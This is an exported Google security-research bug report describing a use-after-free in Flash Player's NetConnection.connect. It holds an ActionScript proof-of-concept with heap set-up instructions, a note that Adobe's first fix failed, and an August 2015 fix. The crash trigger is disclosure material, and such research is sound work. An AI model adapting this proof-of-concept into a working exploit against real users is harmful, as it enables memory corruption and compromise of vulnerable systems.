search

AN-Master / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Use-after-free in NetConnection.connect #352

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago 
If the fpadInfo property of a NetConnection object is a SharedObject, a 
use-after-free occurs when the property is deleted. A proof-of-concept is as 
follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
s.data.fpadInfo = q;
s.flush();
var n = new NetConnection();
ASnative(2100, 200)(s.data);
n.connect.call(s.data, "");
trace(s.data.fpadInfo);
s = 1;

//GC happens here

setInterval(f, 1000);

function f(){

    ASnative(252, 1).call(q); //Array push
    delete q.myprop;

    }

A fla, an AS file and two swfs are attached. shareddelete.fla compiles to 
shareddelete.swf and contains the code that causes the use-after-free. 
loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To 
make the issue occur, put loadswf.swf and shareddelete.swf in the same folder 
on a webserver (the PoCs don't always work locally due to flash network 
sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but 
the issue would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 28 Apr 2015 at 11:36

Attachments:

GoogleCodeExporter commented 8 years ago

Original comment by cev...@google.com on 30 Apr 2015 at 7:13

GoogleCodeExporter commented 8 years ago

Original comment by cev...@google.com on 1 May 2015 at 6:23

GoogleCodeExporter commented 8 years ago

Original comment by cev...@google.com on 4 Jun 2015 at 9:21

GoogleCodeExporter commented 8 years ago 
https://helpx.adobe.com/security/products/flash-player/apsb15-11.html

Original comment by cev...@google.com on 9 Jun 2015 at 5:45

GoogleCodeExporter commented 8 years ago 
This issue is not fixed, despite being in the bulletin. I've attached an 
updated PoC that causes a crash in updated Flash. Only the shareddelete.swf 
needs to be replaced, otherwise follow the instructions above.

Original comment by natashe...@google.com on 9 Jun 2015 at 10:36

Attachments:

GoogleCodeExporter commented 8 years ago

Original comment by natashe...@google.com on 11 Aug 2015 at 3:52

GoogleCodeExporter commented 8 years ago 
Fixed for reals in the August update.

Original comment by natashe...@google.com on 18 Aug 2015 at 7:15